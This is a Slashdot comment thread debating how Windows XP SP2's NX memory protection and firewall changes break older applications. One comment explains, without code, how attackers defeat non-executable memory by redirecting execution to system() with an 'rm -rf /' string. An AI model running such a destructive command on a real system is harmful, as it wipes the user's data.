      You know, considering how much money MS makes from getting their customers to upgrade to the latest versions of (e.g.) Windows and Office, it seems a little odd that they actually would be so anal about backward compatibility. It seems like once they had a monopoly, they'd want to decrease the amount of backward compatibility, in order to get more people to upgrade. Hmm.

      --
      "Destroy science and religion. Science would re-emerge exactly the same; but not religion." - Penn Jillette, paraphrased
  28. Microsoft just can't win by Neillparatzo · · Score: 5, Insightful
    Windows apps suffer from buffer overflows, Slashdot bags on Microsoft for having buffer overflows.

    Windows adds NX security to prevent buffer overflows, Slashdot bags on Microsoft for breaking a few apps in the process (apps which were arguably broken in the first place, just the spec was never enforced).

    I understand there's a slight bias on this site, but Jesus Christ you guys.

    1. Re:Microsoft just can't win by Liselle · · Score: 4, Insightful

      The fact that you got modded up to +5 Insightful in a heartbeat should be answer enough for you. There are plenty of lurkers here that don't have the "damned if you do, damned if you don't" hatred for Microsoft. This site is more than just the opinions of those brave enough to post, or the crackbrained comments the editors add to the write-ups.

      --
      Auto-reply to ACs: "Truly, you have a dizzying intellect."
    2. Re:Microsoft just can't win by scrytch · · Score: 2, Insightful

      The fact that you got modded up to +5 Insightful in a heartbeat should be answer enough for you.

      Silent moderation, not really enough. Hardly anyone bothers to stand up to the rampant editorial bias around here, from the article selection to the snippy commentary inserted after most of them.

      Homogenized corporate media occasionally enjoys a story about the ills of homogenized corporate media. Then they go right back to conforming to the ratings machines. I come to slashdot for the community now, the articles are informative or useful only once in a while.

      --
      I've finally had it: until slashdot gets article moderation, I am not coming back.
  29. Re:Lets not bag on MS by TRACK-YOUR-POSITION · · Score: 5, Insightful

    I don't see how Visual Studio .net and .Net Framework users can be considered a small minority. The thing is, Microsoft releasing a service pack that breaks everything is very different from a linux distribution breaking when the use decides to try to compile and install new software completely on their own--Microsoft is the equivalent of the whole open source community of programmers and distributors combined, so a new service pack isn't analagous to a new major release of the Linux kernel, it's more like a new minor release of a Linux distribution. And I'm not sure it's even like that, since a service pack upgrade is supposed to be a lot easier to do then installing a Linux distribution release--so it's more like an distro-released security fix. Which isn't supposed to break everything. I don't know anything about the specifics, but there are memory-protecting kernel patches out there for linux, like PAX and grsecurity and probably a bunch of others. You have to disable them when running Java and X, so I imagine Java will be effected by this update.

  30. Re:These are a few insecure programs that won't wo by Helvick · · Score: 5, Interesting
    Rest easy bud (or maybe not) - QT, RealPlayer and Firefox certainly won't break, I use 'em and have a beta of SP2. No issues, at least on my setup, with these or any other of my apps. All Windows Service Packs break "some" applications, and the same applies to other OS's, the difference here is that MS are providing tools to help developers identify and rectify them in advance - that's certainly a good idea.

    The real problem is that the benefits it (should) bring will not get deployed to the bulk of systems that need it - at 210Mb I can't see the majority of systems out there that really need it getting the whole thing downloaded, at least not within any reasonable time frame. Hopefully by the time it is actually released they will have a lite version on Windows update that can push the security improvements in a much smaller package.

    Their decision to at least try to implement some long overdue fundamental improvements to the security of the architecture is to be welcomed no matter how over due it is. However despite that their decision not to add any outgoing filtering capability to the ICF doesn't make any sense to me and seems, well, just stupid really.

  31. Pain in the ass, but a step in the right direction by keath_milligan · · Score: 5, Interesting

    Backward compatibility has been a bit of a sacred cow in Windows for too long. Much of Windows' excess complexity and security deficiencies can be directly attributed to compromises made for the sake of compatibility with old applications.

  32. I thought... by Gyorg_Lavode · · Score: 2, Insightful

    that the memory protection was only usable w/ processors that flagged memory.

    --
    I do security
  33. Applications reported having SP2 problems by Jugalator · · Score: 5, Informative

    Here's a list of a few applications that has been reported having problems in the latest betas of SP2, compiled from comments at Neowin when they posted these news:

    - Zone Alarm 2 (uninstall stops working)
    - BS Player (driver fail to load)
    - Roxio Easy Media Creator 7
    - Microsoft Intellipoint 5.0
    - Azureus BitTorrent client
    - ATI's Rage3DTweak for Radeon
    - Easy CD Creator 5
    - eMule
    - Tritton NAS-120's Managment Interface
    - Leadtek WINFAST TV PVR (driver fail to load)
    - ISO Recorder Powertoy

    Also, a user reports the Windows XP SP2 firewall blocking incoming FTP traffic even without an installed firewall, and XP's built-in disabled.

    Maybe it's "beta diseases", but it does seem like a lot to break for a service pack, even in a beta. These are usually quite stable as they contain mostly bugfixes, not Win32 API changes (which these problems are supposedely caused by).

    --
    Beware: In C++, your friends can see your privates!
    1. Re:Applications reported having SP2 problems by Repugnant_Shit · · Score: 2, Interesting

      Uhoh. Azureus is written in Java. Does that mean all Java apps will stop working?

  34. Re:These are a few insecure programs that won't wo by shadewind · · Score: 2, Funny

    If this breaks insecure apps like Mozilla/Netscape/Firefox, the logical thing would be that it smashes IE into oblivion.

    --
    I couldn't come up with any better sign....
  35. execution-restricted memory by default by braddock · · Score: 4, Insightful

    This is a good thing that OSes like Solaris have had available for years. OpenBSD has recently changed their default memory page allocation permissions on architectures where it's possible for a similar effect. Patches exist under Linux to do it. However, I believe in all these cases that you can still REQUEST memory allocations that do NOT have the restriction if you are doing JIT compilation or whatnot.

    Microsoft isn't stupid. I'm sure they'll figure out a way to allow old apps to run with the old allocation behavior. Their entire business relies on legacy compatability. At worst you'll need to set some flag on the application launch.

    The other thing to note is that crackers have also had ways to defeat execution-protected memory for years as well. It makes a buffer overflow exploit a bit more difficult, but where there is a will there is a way.

    For example, even if the protection prevents you from writing executable code directly into memory, you can still typically do things like overwrite the stack and hijack the program's execution to a system call with malicious parameters (in Unix, the classic call to hit is system()...no custom code execution required, just a 'rm -rf /' string somewhere in memory).

    Braddock Gaskill

  36. Sun Hot Spot by codepunk · · Score: 4, Interesting

    Sounds like a rather nice way of introducing stability and or compatibility problems to java by not allowing Sun's Hot Spot just in time compiler to work correctly.

    --


    Got Code?
    1. Re:Sun Hot Spot by Juergen+Kreileder · · Score: 2, Informative
      Sounds like a rather nice way of introducing stability and or compatibility problems to java by not allowing Sun's Hot Spot just in time compiler to work correctly.
      That's wrong. HotSpot just has to mark the memory containing the generated code executable. Recent Blackdown (non executable mappings aren't Windows specific) releases already do that and future Sun releases will do the same.
    2. Re:Sun Hot Spot by Chester+K · · Score: 2, Interesting

      Sounds like a rather nice way of introducing stability and or compatibility problems to java by not allowing Sun's Hot Spot just in time compiler to work correctly.

      Had Sun followed the instructions for making executable code pages for their JIT like MSDN has explained how to do since Windows 95, then the Hotspot compiler would work just fine.

      If you want to blame someone here, blame Sun for not coding their stuff correctly in the first place.

      --

      NO CARRIER
  37. Microsoft's Long-Term Perspective by Jonathan+Quince · · Score: 5, Insightful
    .NET is a FAILURE (apart from the most stupidist name ever)

    You evidently don't understand how Microsoft works as a business. Unlike most software shops, they take the long-term perspective. Many of their competitors have learned this the hard way. (E.g., "Internet Explorer is a failure." As of version 3, it was a failure in terms of market penetration, but MS didn't care.) Full Microsoft product cycles typically take about ten years.

    Every major new Microsoft product or technology takes the better part of a decade to take over the desktop. By about 2007-2008 or so, once there starts to be a large installed base of Longhorn machines (which will have .NET preinstalled), .NET will really start to take off for shrinkwrap applications. Five years down the line from there, it will be just about ubiquitous. In the meantime, programmers are learning it and it's becoming a familiar feature of Visual Studio (an excellent IDE).

    --
    Microsoft Windows is, fittingly, the official Desktop OS of Olig
  38. Re:.NET framework by Xyrus · · Score: 5, Interesting

    I know, I know. Don't feed the troll. You may think .NET is a failure, but there are a lot of companies who do not think so. And if it was such a failure, why are the programmers in the open source computing community devoting the time and effort to make a linux version (mono, etc.). And the same applies to java. "Download my free 175 KB java app" that requires a hefty download from sun. And that's just for one language. However, I will agree that .NET is a really lame name. ~X

    --
    ~X~
  39. Re:not surprised by /. by mangu · · Score: 4, Insightful
    the anti MS bias here is soooo 1990's


    No, it's soooo 2004. Anti-MS/pro-Linux bias was restricted to very small groups of hackers in the 1990's, but it's progressively growing into the collective conscience, as more and more security failures in MS software get more and more people pissed-off.

  40. Re:These are a few insecure programs that won't wo by Anonymous Coward · · Score: 2, Insightful

    Dude at 210 megs you're running the beta with all the debug stuff. It's not going to be anywhere close to that big when final release is compiled.

  41. Re:.NET framework by khakipuce · · Score: 2, Insightful
    You are quite right, this is what really prevented Java applets from getting of the ground - 12-20Mb runtime download.

    The thing is that in 2-4 years pretty much every one will have the .NET frame work as part of the OS (even MONO on Linux) so they will not have to down load it. Then .NET will become mainstream.

    --
    Art is the mathematics of emotion
  42. This is exactly what's needed by Stevyn · · Score: 4, Insightful

    Think of apple, they were never to worried about backwards compatibility and their os is more stable because of it. All those programs that weren't compatible with osx had to be updated to ensure they'd work with the changed operating system. True, the change was big because they went to a unix varient, but they still had the balls to tell developers to adjust or lose customers.

    Now microsoft has always tried to make it easy to run old programs. Think of how long dos lasted so businesses could use their old proprietary programs. This caused a lot of problems with windows crashing. Windows xp was supposed to fix that shit, but now a new slew of shit has come about. Now what they're saying with sp2 is that they recognize their customers want security and stability over backwards compatibility.

    The reason they're finally starting to do this is probably to compete with linux since those people most likely had to leave their old familiar apps with new ones. They see that people would rather deal with the adjustment of a new look and feel over constant reboots.

    Now while everyone can point fingers and laugh at .NET, this is very smart for them. It makes it easier and cheaper for developers to make consistant apps in current and future versions of windows. If developers rely on ms code to handle the grunt work and they just do the stuff that makes their program, then they have a lot less overhead. And with microsoft grabbing it's balls and betting on security and stability, they can handle the backend bugs with their updates. True, that requires them to actually patch, but if they start with a much more stable and efficient groundwork, you'll see a lot less patches then now.

    Remember guys, microsoft isn't stupid.

  43. Only install odd numbered service packs by Schemat1c · · Score: 5, Funny

    As superstitious as this sounds I have found this to be true over the years with Microsoft. Almost without fail the even numbered SP's have broken features and the odd numbered ones fix them. I'll wait for SP3.

    Besides, the combination of my Netgear firewall, McAfee Virusscan and just not opening strange attachments in my email protects me just fine.

    --

    "Nobody knows the age of the human race, but everybody agrees that it is old enough to know better." - Unknown
  44. Pot to Kettle by H8X55 · · Score: 3, Funny

    In a quote from Tony Goodhew, a product manager in Microsoft's developer group says 'It doesn't really matter how long it is going to take you to do the work; security is an important issue and developers need to start doing that work now.

    Not to flame, cause i'm not like that, but c'mon!?!

    Pot to Kettle, "Guess who's black?"

  45. Disable the HTML e-mail feature that I don't use! by at2000 · · Score: 5, Informative
    We have been waiting this for over 5 years!
    The plain text mode feature of Outlook Express provides users with the option to render incoming mail messages in plain text instead of HTML. When Outlook Express is running in plain text mode, the rich edit control is used instead of the MSHTML control. You avoid some security issues that result from the use of MSHTML by using the rich edit control."
  46. Re:Lets not bag on MS by Anonymous Coward · · Score: 4, Informative

    Windows .NET Framework applications do not currently mark generated code with Execute permissions. XPSP2 recognizes the current, shipped versions of .NET Framework and runs them with NX off. Therefore existing .NET applications will continue to run. Microsoft is enhancing the .NET Framework to take advantage of NX and will ship service packs for each of the shipped versions in the XP SP2 RTM timeframe. The .NET Framework "Whidbey" will innately support NX.

  47. These changes... by Trillan · · Score: 2, Insightful

    I'm no Microsoft fan, in fact quite the opposite.

    But by and large, these look like common sense changes that will likely cause a great deal less trouble than the move from 2000 to XP did for application vendors.

  48. Tidbit from OSR - XP SP2 will break some drivers by OmniGeek · · Score: 5, Informative

    These folks write and consult and teach about Windows drivers. I've followed their newsletter ever since I had to write an NT kernel driver for some custom I/O hardware, in case I ever needed to do another one (blechh!).

    According to their newsletter at www.osronline.com, XP SP2 will include mandatory runtime memory pool overrun checking for all drivers. While this will improve the OS' security, it will ALSO cause mysterious failures on upgraded systems due to poorly-written legacy XP drivers. I make no judgements as to the wisdom of this course, but it's definitely worth knowing about beforehand. Of course, if they'd done this FROM THE START, then there would be no failures from it with the upgrade...

    --

    "My strength is as the strength of ten men, for I am wired to the eyeballs on espresso."
  49. Re:What kind of moron... by AndroidCat · · Score: 2, Funny

    The kind of moron who needs an excuse for why his midterm wasn't ready? :^P

    --
    One line blog. I hear that they're called Twitters now.
  50. Re:Lets not bag on MS by skinfitz · · Score: 2, Funny

    Upgrading to 2.6 was not a forced security upgrade, but simply an option.

    Installing XP SP2 will not be a "forced security upgrade" either but also "simply an option".

  51. Yeah but... by Anti_Climax · · Score: 2, Funny

    ...Will it break KaZaa?

    --
    Even people that believe in pre-destiny look both ways before crossing the street.
  52. Imagine the other headline by spideyct · · Score: 5, Insightful

    You have to bag on MS for this?
    Ok, imagine this alternate Slashdot headline:

    MS sales buries secure XP
    Itoldyouso writes - A leaked memo indicates that the Microsoft developers created a much more secure version of their flagship operating system. However, because it would have caused problems with a small number of applications that were designed insecurely, the Sales & Marketing teams vetoed the new secure version, in an attempt to avoid a customer backlash. It is now official - Microsoft's commitment to trustworthy computing is a complete joke.

    I have a feeling that post would rile a lot more people here.

    1. Re:Imagine the other headline by drooling-dog · · Score: 5, Insightful
      You're probably right about the hypothetical headline, but the problem - as others here have pointed out - is a fundamental one with closed-source software. Whenever compatibility is broken, users are forced to upgrade apps to restore compatibility with the OS. Since users are unable to do this themselves, vendors can (and do) exploit it as a revenue opportunity. It is also a drag on the development of the OS, because Microsoft is forced to kludge back-compatibility in order to make new Windows versions acceptable to customers with irreplaceable legacy software.

      In the Open Source world you can just recompile, or download new binaries from someone who's done it for you. I've been running Linux for something like 10 years now. Upgrading has never slowed me down for more than a day or so, and I have never lost the use of any software that I needed or wanted to continue using.

  53. Re:Memory protection only on 64-bit platforms for by Eponymous+Cowboy · · Score: 3, Informative
    The non-executable bit on memory pages is not supported by the x86 architecture

    Wrong. Get your facts straight.

    Bit 43 of the x86 segment descriptor table specifies whether a memory segment is executable.

    Attempting to assign CS to a nonexecutable (read/write data) segment, i.e. attempting to execute code in a segment not specifically marked as executable, generates an exception. (See also this presentation for an overview of this and many other x86 security features, most of which are, admittedly, ignored by both Windows and Linux.)

    And, by the way, this feature has been around since protected mode was introduced on the 80386. That was in 1985, almost 20 years ago.

    --
    It's hard for thee to kick against the pricks.
  54. No kidding! by Chris+Burke · · Score: 2, Insightful

    NX bit may not be a panacea, but it's still very useful. There's a reason OpenBSD is trying to support it. Is it supported in Linux yet? And if not, why not? "Don't allow this to execute" is a basic permission, like read-only, that should have been in the VM system from day 1 -- and I think it was, in many other architectures.

    And yes, I do think you'd find a shitstorm on /. if MS didn't release this.

    --

    The enemies of Democracy are
  55. Apple Panther 10.3 by LoudMusic · · Score: 3, Informative

    In similar news, I've begun upgrading computers at work to OS X 10.3 and found things like AppleScripts I have made suddenly don't work anymore. WTF!? And various other installers (presumably using AppleScript) don't function either.

    I'm all about progress and out with the old but ditching last year's technology is a bit quick.

    --
    No sig for you. YOU GET NO SIG!
  56. Strange..... by azuroff · · Score: 2, Funny

    The address still says slashdot.org, but there is approval of something Microsoft has done...

    "There is nothing wrong with your browser. Do not adjust the site. WE control the comments, we control the moderators...."

  57. Re:Lets not bag on MS by avdp · · Score: 2, Insightful

    Not unless they backport all security fixes to XP SP1

  58. Not sure what "bagged" means... by Azureflare · · Score: 2, Informative
    Sorry if I offended you. I was just using the words of the grandparent poster. Looking over it again, I'm guessing "bagged" means that Microsoft should not release this SP2? Correct me if I'm wrong. I should have probably used my own words rather than using "bagged" from the original poster...

    Yeah, I agree, that would be quite unreasonable to expect Microsoft to not release this service pack. I hope it is apparent in my post that I don't think MS should shut this SP out; I just think it'll cause a lot of headaches, and I really hope they have an option to turn it off! (I.e. turn off the new security protections).

  59. Few Application HAVE to be run as admin by temojen · · Score: 2, Informative

    Some stupid developers (including Canada Customs & Revenue Agency's contractor who did the "tables on disk") put their data files in the "Program Files" subtree, and don't set any acls to allow anyone other than admin access.

    One method I've used to get around this is logging in as a normal user, watching for what files it can't write, logging in as admin, setting the acls (with "cacls") to allow access to that file, log in as normal user again, run the program again, etc.

    Sure, it's slow, but some programs you just need (like TOD), while others really should say "must be run as admin" on the box so we know to avoid them (like Quicken).

    Interestingly, Tables on Disk (which is used to calculate payrol deductions) is a java program, but is only provided as windows & mac self-extracting installer. If they provided a zipped version, we wouldn't need any closed-source OS machines where I work.

    1. Re:Few Application HAVE to be run as admin by myowntrueself · · Score: 2, Insightful

      I never run games with admin privileges and I play a fair few games.

      What I do is create a group (gamers) add it to my limited account and give this group full control of the games directories and associated registry keys.

      This works on almost every game, so far with the exception of 'aliens vs predator 2' which totally refuses to cooperate; it complains 'no disc in drive'.

      I think theres a bug in their copy protection implementation (civ3 conquests uses the same copy protection, but its fine).

      Anyway, the workaround for this is to (ouch) download a cracked version wich copy protection turned off.

      But thats just crazy; you have to run the cracked app as admin to install it. Do I trust it? Hell no. Not really.

      But if I want to play the game I bought and not have to log in as admin to do it, thats preferable in my view. I am *not* going to surf the net and read email with admin privileges.

      Oh and power user? Forget it; this group has write access to system folders and is almost as dangerous as administrator.

      --
      In the free world the media isn't government run; the government is media run.
  60. Brilliant Idea by polyp2000 · · Score: 2, Funny

    seems like a great way to give people a longhorn

    --
    Electronic Music Made Using Linux http://soundcloud.com/polyp
  61. The price of security by pehrs · · Score: 2, Insightful

    Frankly I can't see why anybody is whining over this, unless it's the instinctive MS bashing of Slashdot.

    They are adding a security feature that will improve the overall security of the operating system at the cost of breaking older, insecure, applications. This is done everywhere and for some odd reason it's usually considered a good thing.

    I am looking forward to this, any my question is only when this kind of features can be implemented in linux to improve the security here too... (Or is it perhaps in there allready?)

  62. The Emperor has no clothes by the_skywise · · Score: 5, Interesting

    My Norton Internet Security currently interferes with my Visual Studio .NET remote debugging. So I can disable it while debugging or I can configure NIS to track when the program is running and let it use those ports.

    Now MS says, with their new firewall, I don't *have* that option? Now anybody who wants to write an app to use a port must first notify MS that it wants to use that port.

    Doesn't this mean that malicious programs will just quietly open up firewall ports on their own without notifying the user?

    Secondly, what does this mean:

    "Another product that Microsoft needs to update is the .Net Framework. The new memory protection features in SP2 require developers of certain applications to mark their code with memory execution permissions. If they don't, the protection features could interfere with the application, according to Microsoft.

    "The great bulk of applications will not be affected by memory protection. The number one that leaps to mind is execution environments with just-in-time code generation. The .Net Framework is one," Goodhew said. "

    Translation:
    Mostly only unmanaged C++ programmers will be affected by these security changes. If you had just programmed the Microsoft way to begin with and used .NET like we told you, you won't be affected. (But .NET apps are going to have to be modified to switch on memory protection)

    Memory protection only occurs on NEW processors. The vast majority of the world runs Windows on NON-SECURE processors.

    Stranger still, Microsoft has had buffer overrun checking BUILT IN to Visual Studio .NET. (Which, last I checked, was the only way to make .NET objects that run on Windows). Without that flag turned on, the .NET object is marked UNSECURE.

    Lastly, Microsoft's greatest security problems are not buffer overruns or firewall holes. They're AUTOMATIC ACTIVEX control installation from malicious pop ups to install spyware. They're wide open access to the email address box and a by-default scripting system that allows malicious emails to respawn themselves. They're bugs in the Internet Explorer control that allow malicious URL's.

    NONE of these "security innovations" even take a crack at stopping those!

    What DO these security innovations do?

    Destroy a previously lucrative software market for antivirus tools.

    Take the firewall OUT OF THE CONTROL of the user and put it firmly inside the OS to determine what's good for you. (Remember DRM? Isn't it interesting that the main thing broken from this portion of the update are peer-to-peer apps and FTP sharing?)

    Further entrench .NET into the programming paradigm and making Microsoft Programming Languages THE programming languages. (Programmer mindshare... if you're busy keeping up with Microsoft, you're not programming for something else or making reusable code to port to other platforms.)

    I'm all for security, and now these boxes will be secure... But no moreso than the typical user installation out there today that uses a third party antivirus/firewall solution and keeps their system up to date with the latest patches.

    This is about as effective at what MS did with Outlook XP and *by default* turning off the ability to get attachments out of your email. You had to setup a profile configuration OR edit your registry settings to get that feature back.

    Y'know, there comes a point where you have to say, I can ride my bicycle without training wheels.

    I understand that MS is fighting a bad PR image. But if this is how Microsoft "innovates"... Well, might as well just have lightweight users use Macs (which will hold their hands) and pro users/developers can use Linux.

    1. Re:The Emperor has no clothes by Daltorak · · Score: 2, Informative

      You, sir, have not done your research. While this is typical of a ranting & raving slashdotter, it also spreads lies and misinformation.

      First of all, Microsoft has published a document titled How to Enable Remote Debugging on Windows XP Service Pack 2.

      Second, one of the features being added to Internet Explorer with SP2, is a lot of additional flexibility in controlling ActiveX behaviour. You can get a list of all the components that have been installed, and selectively remove them. You can also force IE to always disallow controls from a particular company, if you don't trust them (good for Gator, etc.)

      Third, the firewall itself gives the user far more control and feedback than it used to have. You can read about the changes in more detail on this webpage. I'll bet you didn't know that you can control the new Windows Firewall from the command-line! How is this taking control away from the user? BTW, the reason applications like FTP and P2P are breaking, is because they make use of ports in strange and unconventional ways. Lots of firewalls have problems with this.

      Fourth, Outlook XP didn't remove the ability to view attachments; they merely implemented a list of extensions which would be blocked by default. That's saved a lot of people from being infected by some of the viruses that have come around in the last couple of years... most of the time, the people who DO get infected are people who don't believe in upgrading their software and applying the latest Windows Updates.

  63. Congratulations to MS by Craig+Ringer · · Score: 4, Insightful

    Finially, they're biting the bullet and doing the right thing. A sensibly configured default firewall - it's one of the things they should've been doing for years. The memory protection is also interesting - and probably a good move, so long as developers don't start using it as a crutch.

    Now, if we see built-in virus protection, tainting or sandboxing of executable code recieved by email, proper MIME handling, and flagging of double extensions, AND AUTOMATIC UPDATES THAT ARE ON BY DEFAULT, it'll be mostly there.

    Even forcing users to take an extra step (like the 'chmod u+x' required on *NIX) to make emailed and downloaded files executable would help a _lot_. Sure, viri would just start saying "click properties, then tick 'executable'" in the messages; but it'd stop a lot of the worst offenders from viewing things without thinking.

    1. Re:Congratulations to MS by spitzak · · Score: 5, Informative

      extra step (like the 'chmod u+x' required on *NIX)

      Hey I like Unix and dislike Windows, but this is a bit of Linux-fud. This is not some amazing "security feature" invented by K&R in 1970. Here are the facts:

      1. A program can call "exec" on any file, whether or not it has the execute bit set. The system does not check, so this is not any real protection. Imagine a "Linux Outlook" written without any assumptions about security, the MS-style author of the program would certainly make it so that clicking on an executable would call exec or popen. The main security in Linux is that the email program writers never considered that somebody would want to run a program, they either save it as a file or open it as text. But considering that Microsoft went through the trouble of actually interpreting the attachement as a .exe and locating the icon resource and displaying it, it is obvious that such thinking does occur to programmers and could easily have happened on Linux.

      2. Any program with permission to write the file can turn on the execute bit. For instance tar will restore the execute bits back on the tar'd files. A "user friendly" program would certainly turn on the bit on received files that indicated they want it, since that is what the user wants.

      3. The real purpose of the execute bit:

      When Unix was written in 1970, a powerful machine had 64K of memory and disks spun at a few hundred rpm. In addition the original design assummed executable programs and data files would be mixed together in the same directories. Especially the current directory: the idea that putting "." somewhere other than the start of the path for security did not occur till maybe 1980 (and it is still missing from Windows CMD.EXE!) Besides the current directory people would often modify their path to include their friend's home directories (to get their programs) or to get different versions of programs.

      On such machines it would take many seconds to try to open a given file in each of several directories on the path. The only way to make a command run efficiently would be to store a hash table in memory saying which directory was the first on the path that each command was in (the command "rehash" in csh shells would recalculate this).

      In the directory structure people were using then, over half the files on the path would not be executable and thus not commands. The rehash command could greatly reduce memory usage if it could eliminate these right away. The correct solution (opening the files and checking for magic execute bytes) would be far too slow. So they decided to dirty up the file system by adding a single "attribute" in the form of the execute bit, so the rehash could skip files quickly.

      That is why the execute bit is there. It is not a security feature.

  64. This is old news by Gary+Destruction · · Score: 2, Insightful

    "Microsoft service pack breaks applications." This is certainly nothing new. Microsoft service packs have had a history of breaking applications. So the real issue here is Microsoft taking more consideration for applications. I mean, for there to be a history of application breaking with service packs, one would think that Microsoft would have done something to help prevent future problems.

  65. Re:Disable the HTML e-mail feature that I don't us by Anonymous Coward · · Score: 5, Informative
    1. Dropdown the Tools menu and select Options.
    2. Select the Read tab.
    3. Check the "Read all messages in plain text" check box.


    Or you could just sit and blame Microsoft for your inability to read their supplied documentation pandering to a community that is as inept and continue to use the product without a clue as to how it works.
  66. Re:Lets not bag on MS by rufo · · Score: 2, Funny

    some of us don't have the luxury of changing a distro as often as we change our shorts

    What about changing our shorts as often as we switch distros?

    --
    My English teacher once told me that two positives don't make a negative. Two words for her: Yeah, right.
  67. Stop Crying Wolf by Noehre · · Score: 2, Insightful

    As anybody that has been running the beta of SP2 probably knows, this incredible application-breaking feature is ******OPTIONAL******* and can be ****TURNED OFF IF IT PRODUCES PROBLEMS****.

    Furthermore, it doesn't even work in non-Opteron processors.

    I mean, people are acting like upgrading to SP2 is going to suddenly destroy their ability to use applications when this option isn't even on by default.

    Certainly you people aren't this ignorant, are you?

  68. a more informative link on XP SP2 by wotevah · · Score: 2, Informative

    Quoting from the article linked below:

    Starting with Windows XP Service Pack 2, on processors which support it (according to the web page, currently AMD K8, Itanium, and AMD64), the stack and heap will not be executable. If you try to execute the stack or the heap, an exception will be raised and the code will not execute. In other words, execute page protection will soon be enforced, now that processors exist that support it. (Actually, I believe Windows XP for Itanium already used this new protection level, so those of you who have been playing around with your Itanium may have seen this already.)

    If you were a good developer and followed the rules on page protections, then this has no effect on you. But if you cheated the rules and took advantage of specific hardware implementation details, you may find yourself in trouble. Consider yourselves warned.

    posted on Tuesday, November 04, 2003 3:38 AM

    http://weblogs.asp.net/oldnewthing/archive/2003/11 /04/55560.aspx

  69. Re:Memory protection only on 64-bit platforms for by AdamInParadise · · Score: 2, Informative

    Sure, but nobody uses segmented memory anymore... All modern OSes (Windows 2K, Linux, BSD, Solaris... ) use paged memory. So my point is still valid.

    --
    Nobox: Only simple products.
  70. Re:Lets not bag on MS by The+Vulture · · Score: 2, Insightful

    My guess would be probably not. And yes, although I'm a cynic, the reason I say this has nothing to do with the DoJ possibly letting it slide.

    If I recall correctly, most of the original slap against Microsoft with regards to Java, was that they played dirty. In this case, Microsoft actually isn't playing dirty (from what I see thus far), they're giving out the information (at what monetary cost, I don't know) to application developers on how to prepare their applications for the new Service Pack.

    Therefore, Sun doesn't really have any grounds to take them to court. As long as Microsoft publically announces what they're doing, and makes the information to the application developers, then it is Sun's responsibility to make Java work with Service Pack 2.

    Personally, I think it's in Microsoft's best interest to not do work-arounds for any applications, but rather just publish the information, and give the application vendors some time to prepare the fixes. At least in that way, Microsoft can be seen as being neutral, and not playing favorites. If application "foobar" doesn't work under SP2, then at least Microsoft could say, "talk to the application vendor". Whether or not that would be a big blow against Microsoft, well, it's hard to say.

    -- Joe

  71. Re:not surprised by /. by globalar · · Score: 2, Interesting
    It's not just the security per-se. All code has security flaws somewhere - we can live with this. But MS has some special sins, which they will not confess or provide restitution for:

    1) There are some obvious security problems with the OS and some applications. Obvious like allowing MSHTML in Outlook. Allowing MSHTML in anything with admin priveleges is bad.

    2) Windows in a default installation leaves thing waiting to be maliciously altered. Most users don't need admin priveleges, so why give them to everyone? There are other examples (like no default passwords on user accounts - admin accounts).

    3) MS doesn't like fixing things. They seem to avoid it. IE is the classic example. MS has the largest installed browser base, and IE is one of the worst browsers. They are just screwing their customers there. MS: Just buy out Opera and use that, please.

    4) Windows and most (if not?) everything MS owned is closed source. So not only does /. not like it, but geeks can't have their special way with their computer. There are huge benefits to open source of course, besides our curiousity and fetish for improvement.

    5) MS doesn't patch security concerns or general bugs, and then goes around and tells people they have extremely fast return on necessary patchs and that their focus is on security. Well nobody really believes that, so MS is talking to itself and paying people to say it back to them.

    6) MS is a big, rich corporation who has tried to take over a few industries at least.

  72. WinXP SP1 HA updates don't even work with MSN by Lord_Myron · · Score: 2, Interesting

    As of 1 week ago the internet explorer update Q832894 causes MSN 8.x and 9 to have an internal error on load. If MS can't even keep compatability with their own software what hope do third party vendors have.

  73. The Good and The Bad by Maul · · Score: 3, Insightful

    The Good:

    Microsoft needs to do some house cleaning of Windows, and this seems as if it really is a step in the right direction as far as fixing up some of the security problems.

    The Bad:

    Of course, this is Microsoft we're talking about. If Microsoft can get away with purposefully breaking third party applications and then making it seem like it is for "security" purposes, they will.

    Naturally, one has to wonder what havoc this SP will cause with 3rd. party firewall and antivirus software. It is not hard to imagine Symantec and McAfee taking a huge loss in user base if SP2 breaks their software, and then Microsoft says, "Well, those apps weren't well written or else SP2 wouldn't have broken them. Fortunately firewall and antivirus are built into Windows now, so you can ditch that 3rd. party software."

    And this also will not really do very much to stop the spread of viruses/worms/trojans and adware, at least not immediately. The reasons are:

    1. Most home users never run Windows Update. MS can tout the new security features all they want, but most users will not have these features because they won't patch.

    2. People will still find a way to purposefully click on email attachments. I've known people who can't get weird email attachments because their AV software blocks it, so they DISABLE their AV software to open it.

    3. SP2 doesn't look like it will address IE/ActiveX control issues that Adware writers love to take advantage of.

    And of course, Microsoft is still pushing their campaign to integrate everything and the kitchen sink into the OS. First it was IE, now it is media player that MS claims is a vital component of Windows. Next it will be firewall and antivirus. These improvements should be modular so that users who have an external firewall or prefer a 3rd. party solution can simply knock it out of their install.

    --

    "You spoony bard!" -Tellah

  74. Re:compiler makers take note! by HFXPro · · Score: 2, Informative

    How would you bounds check with the compiler? That would be a determanistic operation to figure out if a number wraps around in that particular case (means the code has to be executed). It would still be up to the program to make sure the number wouldn't wrap around. So this would be more of runtime information to be tested and the programmer would have to tell it if he wants the wrap around behavior or not. I suppose he could use one of the Lisp languages whos numbers are not dependant on machine word size.

    --
    Reserved Word.
  75. Cygwin Breaks. by Jeremiah+Cornelius · · Score: 2, Informative
    Under SP2 beta 1, Any call from the cygwin network code will core the calling application. ssh and wget and ftp and CPAN all broke on my box.

    Fortunately, the uninstallation makes heavy use of system-restore points, and seems to leave no residue!

    With SP2, I also had problems with Services for Unix 3.5, but this may have been unrelated...

    --
    "Flyin' in just a sweet place,
    Never been known to fail..."
    1. Re:Cygwin Breaks. by nachoboy · · Score: 2, Informative

      Try using the native Win32 wget and PuTTY. Both have no problems on SP2 build 2055 or 2082. Cygwin is just too much bloat for me.

      That said, I wouldn't install a beta SP on my production box ever. I have run through several scenarios on VMWare though, including upgrading to SP2 as well as simply installing a clean SP2-slipstreamed copy. Starting to like the changes I see. The few applications that may break are worth the collective security of the Windows population at large.

  76. .NET is replacing Win32 by Overly+Critical+Guy · · Score: 2, Interesting

    .NET was always targetted for developers anyway. Users won't need to know about .NET.

    In Longhorn, .NET is replacing Win32 itself. The reecent betas are already running explorer.exe as managed code. So, users won't need to install the .NET framework because it will be part of Windows itself.

    Right now, it's just a development framework to get used to.

    --
    "Sufferin' succotash."
  77. Java vs. C (again) by Ratbert42 · · Score: 3, Interesting
    Try a well written app like azureus...

